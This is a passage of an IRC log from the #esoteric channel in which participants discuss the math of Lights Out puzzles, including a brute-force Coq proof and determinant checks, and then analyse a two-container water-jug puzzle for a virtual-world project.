feature. "," < 1269051142 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :pikhq of course I meant pseudorandom :( < 1269051163 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow I'm already through 341 of 512 cases! < 1269051190 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: wth you're not just doing the 9 pieces? < 1269051196 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan just 9 < 1269051212 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my algorithm doesnt take into account any symmetries < 1269051225 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm doing a formal proof by brute force < 1269051230 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ein coq < 1269051247 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: i mean, you're not just checking if you can get each single piece toggled? < 1269051312 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :iim trying to prove < 1269051312 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Theorem complete : forall a b c d e f g h i, moves (a::b::c::d::e::f::g::h::i::nil) win. < 1269051320 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :which says that for every starting board you can solve it < 1269051328 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :by using a finite number of moves < 1269051345 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1269051346 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so I could play each board and that would prove it, but I wrote a thingy that plays it for me instead < 1269051351 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's really really stupid ;D < 1269051364 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :now prove it for an m*n board ;D < 1269051366 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I didn't even have to show that moves are comutative or doubled up cancel out < 1269051367 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :or symmetries < 1269051479 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yeah... :-/ < 1269051509 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :fax: what are your assumptions? < 1269051514 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :none < 1269051532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just axiomatized what moves are valid (all 9 of them) < 1269051541 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :assuming that a move flips 5 cells in a + pattern, doesn't wrap around < 1269051544 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :as a data type < 1269051545 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :and which board size? < 1269051548 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :3x3 < 1269051552 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's taken over 10 mins :D < 1269051554 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269051567 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269051577 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is on case 210/512
< 1269051586 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if I took ONE symmetry into account it would be done now < 1269051592 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269051596 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and there'sa lot more than one < 1269051612 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :counting symmetries, there are: < 1269051618 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if I proved it using a clever method that doesn't involve search..... I wonder if I would still be doing it :P < 1269051619 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :3 boards with 1 cell < 1269051652 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :7 boards with 2 cells < 1269051671 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :enumerate all 3 and 4 cell positions, invert for 5-8 < 1269051675 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :and then 0 and 9 are 1 < 1269051679 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :and solve those < 1269051706 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mm < 1269051712 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I should make redo this tommorw, and record it < 1269051723 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :(my 7 for 2 lights are: 12 13 15 16 19 25 26) < 1269051727 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then I can time the porgramming time vs the pproof checking timem for all these different approaches < 1269051765 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :what language are you using to check them in? < 1269051789 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :co < 1269051790 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coq < 1269051796 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269051805 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :PSOX? < 1269051807 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :this one i need to look up? < 1269051846 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ooh < 1269051856 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :># < 1269051857 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: 4*4 _isn't_ all solvable < 1269051858 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1269051870 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(says my determinant check) < 1269051870 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :im glad I'm not doing 4x4 :P < 1269051877 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: are you sure? < 1269051883 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wait you use determinant for this lights out thing? < 1269051888 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: determinant of the matrix is 0 < 1269051897 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269051909 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, thought someone said it was -7? < 1269051909 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: you didn't see all the discussion above? < 1269051919 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: that was me, and for 3*3 < 1269051937 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269051940 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, the 0 was for 4*4 < 1269051945 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :3*4 is -9, so also all solvable, but 4*4 is 0, so not < 1269051971 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I suppose it's better to randomize than to Simulate random clicks < 1269051989 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: that would depend on how hard you want to make it... < 1269051997 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :by the way < 1269052010 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nothing < 1269052101 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow I don't understand that idea with the matrix at all < 1269052102 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ok. yeah... googling seems to confirm what you're saying... < 1269052115 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's M? (the rules of the game, but encoded how?) < 1269052124 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :random unsolvable 4x4 board: .XXX/...X/.XXX/.... < 1269052135 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Main> lightsout 3 3 < 1269052135 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :[[1,1,0,1,0,0,0,0,0],[1,1,1,0,1,0,0,0,0],[0,1,1,0,0,1,0,0,0],[1,0,0,1,1,0,1,0,0],[0,1,0,1,1,1,0,1,0],[0,0,1,0,1,1,0,0,1],[0,0,0,1,0,0,1,1,0],[0,0,0,0,1,0,1,1,1],[0,0,0,0,0,1,0,1,1]] :: [[Integer]] < 1269052161 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: that's the matrix for 3*3 < 1269052181 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: 2x3 should give you 0 as well < 1269052189 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :131/512! < 1269052215 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: yeah it does. interesting that those determinants are _exactly_ 0, and not just even. < 1269052223 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh I have a data type like this but it's not a matrix < 1269052235 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh! I see what you do, that's really neat! < 1269052243 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I should program this too < 1269052244 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: do you get the significance of the number if it's non-zero? < 1269052244 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: this is just a haskell list of lists, actually. < 1269052253 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :or do you think there isn't one < 1269052253 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan well I am thinking of it as a matrix < 1269052260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i had a determinant program from way before which used lists of lists < 1269052278 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my computer is really REALLY struggling with a particular lights out configuration < 1269052278 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :also: if you can work out the determinant of a 3x3 in your head, i have the perfect game for you < 1269052307 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has another puzzle that needs math analysis
< 1269052309 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: this is actually a 9*9 _matrix_ for the 3*3 game, so no :D < 1269052310 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not today though < 1269052323 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: a 3x3 matrix, not a 3x3 board < 1269052331 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: feel free to try us < 1269052342 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: ouch. well _maybe_ i could do it. < 1269052352 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :doesn't mean i feel like it... < 1269052367 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i guess i'd want to use minors < 1269052373 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :http://www.boardgamegeek.com/thread/402843/rules-non-degenerate-or-not-quite-kramers-rule < 1269052409 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :minors of 3*3 are just cross products anyhow (also discussed above) < 1269052418 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :minors? < 1269052462 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, instead of asking for math help, there's probably enough analysis stuff posted somewhere. I just need to know the name < 1269052472 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: describe it < 1269052473 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :minors of matrices, a tool for evaluating the determinant < 1269052487 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although not very useful for big ones iirc < 1269052518 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There are two containers of water, a larger one [A], and a smaller one [B]. You can fill a container completely with water, transfer water from one to the other [the transfer stops when the repicient is full or the sender is empty], and drain a container < 1269052522 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: if i get what you're saying... then yes, probably only useful for 3x3 < 1269052532 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There's a red line on container A. the goal is to get the water level of A to match the line < 1269052534 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: and aiming for a target? < 1269052535 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269052550 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :i know the puzzle genus < 1269052588 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: the determinant being even but non-zero doesn't have any significance for lights out, but you could maybe create a similar game based on addition with a different modulus than 2, where it would be. < 1269052591 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The practical problem I have is this: If I'm given the size of A and B, can I move the line and be able to make a puzzle such that a solution exists? < 1269052671 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: did you click the link i gave? < 1269052702 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: reason i asked about the significance of it is that... i think that 7 presses the is the max needed for 3x3 and 9 for 3x4 < 1269052726 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :which (and i might be very wrong here) i think means that 5x5 will give -23 < 1269052784 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pokes
< 1269052792 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: thinking < 1269052827 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION appends an "and if so, how"
< 1269052835 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: doing now < 1269052859 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: well obviously you can put the red line in the place corresponding to the volume of B < 1269052868 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: assuming that the water supply is infinite, that A > B, that A > target, and that everything is integers? < 1269052904 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 52 cases left!!
< 1269052937 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the obvious are nB and A-nB < 1269052945 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :then look at what's left < 1269052954 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: um no 3*3 can require 9 presses < 1269052977 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :(but don't bother with the latter half if A % B == 0) < 1269052981 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hmm... ok < 1269053032 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: because all configurations can be solved, _every_ push subset of the 9 must be different. so if you push all 9, there is no way to get it back without pushing them all again. < 1269053057 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm still not sure whether everything is integers < 1269053071 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: if you assume it, it's a lot easier < 1269053074 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I don't think it's a safe assumption < 1269053076 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: golden ratio might be interesting :D < 1269053092 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Let me show you a picture < 1269053144 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/3CenQ.jpg The only thing I can easily change is the red line < 1269053145 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ok... doesn't all 9 invert all 9? < 1269053150 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: determinant for 5*5 is 0, actually. (so not all solvable) < 1269053160 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: nope < 1269053173 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: weird... < 1269053181 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: where is this? < 1269053184 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it toggles a diagonal cross < 1269053226 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pineapple, it's supposed to be confidential, but I don't care. I'm under no contract. < 1269053232 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Active Worlds < 1269053250 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: if you're under NDA, be careful... < 1269053256 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: are the containers empty at the start? < 1269053260 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yes < 1269053279 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :hmm... i doubt that it's properly floats... might be large intergers, though < 1269053311 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION isn't even sure how to measure them precisely
< 1269053329 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: are you willing to be unsceientific? < 1269053345 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If you mean with measuring, I think I have to be < 1269053351 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: it's not NDA Sgeo just likes to spend time in projects where kids pretend they're professional < 1269053365 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and "fire" people and make "design plans" and really they're just making some random stuff in virtual reality without pay < 1269053372 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :hold a ruler up to the screen, etc < 1269053407 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think the only kid in this project is the other programmer < 1269053477 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yay proof complete!!! < 1269053491 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so yeah you really can get every configureation < 1269053563 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/878074 < 1269053565 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269053569 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :most stupid way I could think of at the time < 1269053600 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So, I move the line to A-B? < 1269053642 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: easiest way, yeah... < 1269053643 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :btw: < 1269053664 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :if all numbers are integers, there's no guarantee that it's solvable for all line positions < 1269053714 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :if A and B aren't coprime, then the target has to be a multiple of hcf(A,B) < 1269053768 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION really needs a way to repay pineapple, oklopol, and oerjan. Thank you SO MUCH
< 1269053795 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I feel like I'm taking and not giving < 1269053802 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And fax < 1269053803 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And alise < 1269053825 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, what language is that? < 1269053848 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coq < 1269053870 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just did this because it's ridiculous to do this < 1269053882 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I wanted to do a huge proof by computation < 1269053902 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :even though it was a contrived one < 1269053945 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :[In case anybody's interested, some game music I'm writing per request: http://codu.org/tmp/gm1wipp3.ogg ] < 1269053976 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269053991 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: (0,0)(A,0)(0,B)(A-B,B)(A,B)(B,0)(A-B,0)(B,B) are the only configurations i can get without knowing more about the relative size of A and B < 1269054011 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's the second number supposed to be? < 1269054024 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269054025 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(contents of A, contents of B) < 1269054044 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :with A and B being their max volume < 1269054149 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the last two are the only ones that might give more options by doing a transfer < 1269054164 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm wait < 1269054199 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but what they give depend on whether they fill up or empty first < 1269054247 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(0,A-B) or (A-2B,B) vs. (2B,0) or (A,2B-A) < 1269054260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*depends < 1269054285 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I'm interested in the configuration of the ring. I think at win, the water level of B is irrelevant < 1269054302 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: tap to A; while(A isn't empty) {A to B; if (B is full) B to floor; else tap to A;} < 1269054332 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :will, if A and B are co-prime, eventually pass through all amounts possible in A < 1269054339 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i need both to know what i can get _from_ there though < 1269054356 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ^ might be helpful < 1269054369 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :in fact, that will cycle through all possible values of B as well < 1269054376 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't have an easy way of measuring both atm < 1269054388 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hold on, actually < 1269054393 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: that psuedocode any help? < 1269054394 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: co-prime is irrelevant < 1269054415 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pineapple, when the puzzle is set up, I know how [inefficiently] to solve it < 1269054422 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's just factoring out the common factor < 1269054428 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: only slightly... if they aren't, then there's less possible levels that can be hit < 1269054453 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: that;s also probably the most efficient way... < 1269054467 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah but we can probably assume the sizes are reals or rationals < 1269054471 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :is what oerjan meant < 1269054475 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i have no idea what you're talking about < 1269054477 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :either that or backwards, which is filling B and pouring as much into A each time < 1269054478 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: i suppose by "all amounts possible" you mean "all integer amounts between 0 and A"? < 1269054490 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :When the original game was around, I just kept in mind to "preserve information" < 1269054526 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what does it mean that a gameboard is divided into 11 segments < 1269054535 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think A = (3/2) B < 1269054540 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yes... although if they're not integers, then eventually you will either hit all possible things or never end... < 1269054545 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well i guess just that, and i should read the rest of the rules to find out moer < 1269054546 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*more < 1269054558 0 :augur_!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269054571 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric : what does it mean that a gameboard is divided into 11 segments - ? < 1269054587 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I just thought of an exact way to measure it *facepalm* < 1269054588 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: oh wait i think i see a clue there - you always tap _into_ A but _out of_ B < 1269054611 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: essentially: yes... or the other way around < 1269054615 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269054644 0 :augur_!unknown@unknown.invalid NICK :augur < 1269054652 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the total amount is always between 0 and A+B < 1269054678 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm going to go collect the exact numbers < 1269054755 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i like the matrix game < 1269054775 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: the one i linked to? < 1269054784 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and who can't calculate a 3x3 matrix determinant, you have to be able to remember like 5 numbers < 1269054799 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: actually... less i think < 1269054802 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean i'm not saying i can do it fast enough to play the game < 1269054810 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah that was a completely random number < 1269054829 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :once you have it for the opening position: you only need to look at the (broken) diagonals of the target cell < 1269054835 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm too tired to even want to think about trying to find the correct number < 1269054855 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :right of course < 1269054865 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ad;D < 1269054895 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so what it really does is x=A; while (x) {if (x>=b) x-=b; else x+=a;} < 1269054902 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :A: 6 < 1269054904 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :B: 4 < 1269054914 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :night again < 1269054915 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*x=a; < 1269054917 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Night oklopol < 1269054917 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ad;D? < 1269054918 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :-> < 1269054934 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you pulled those numbers from the code? < 1269054966 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pineapple, I moved an object to the bottom and top of each cylinder, and measured its location < 1269054982 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :suggest you do an svn blame (or equivalent), then yell at whoever chose those numbers < 1269054993 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um, why? < 1269054999 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :6/4 = 3/2, right? < 1269055002 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And is 3/2 bad? < 1269055003 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269055020 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How so? < 1269055029 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :but they've tried to implement something that they don't fully understand < 1269055061 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :by making a puzzle that has high marmite factor between trivial and frustrating < 1269055062 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I didn't understand it enough to be able to give instructions < 1269055130 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define marmite factor < 1269055141 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: never seen the tv ads? < 1269055147 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I take it it's difficult to solve? < 1269055157 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i don't watch tv, _and_ i'm norwegian < 1269055161 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :"marmite - you either love it or you hate it" - there's nothing in between < 1269055163 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1269055207 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i do have a vague understanding of what marmite is, though < 1269055215 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So to some it's difficult, some it's annoyingly easy? < 1269055224 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i mean that it's either very trivial or very frustrating... and if the player can't work out that they should aim for A-B to make it trivial, then they will be very frustrated by it < 1269055249 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why don't I program it and see if it frustrates me < 1269055276 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :only if i choose the numbers :-) < 1269055309 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Getting the person who created this to change it is probably ah.. somewhat difficult < 1269055331 0 :alise!unknown@unknown.invalid QUIT : < 1269055354 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: then ask them a direct question: "what are you trying to acheive by including this puzzle? what is the point that you're trying to make?" < 1269055356 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION now understands why that algorithm cycles through all possible amounts
